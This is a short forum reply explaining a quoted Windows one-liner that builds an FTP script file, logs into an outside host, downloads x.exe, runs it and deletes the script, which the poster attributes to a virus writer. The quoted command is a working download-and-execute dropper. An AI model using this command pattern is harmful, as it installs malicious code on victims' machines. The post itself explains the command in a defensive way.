From: Haoward K on
Axel Hammerschmidt wrote:

>> cmd /c echo open www.powersofthosting.com 21 >> ik &echo user mainston
>> powersoft >> ik &echo binary >> ik &echo get x.exe >> ik &echo bye >>
>> ik &ftp -n -v -s:ik &del ik &x.exe &exit
>
>What is "ik" and -s:ik there for?

The file name is "ik". The ftp command line accepts
-s:<ftpcommandfile>.

>And why these two?

The filename can be anything the virus writer wants to name it (within
the file naming guidelines of the OS), and the "-s:" is required by
ftp to execute the file.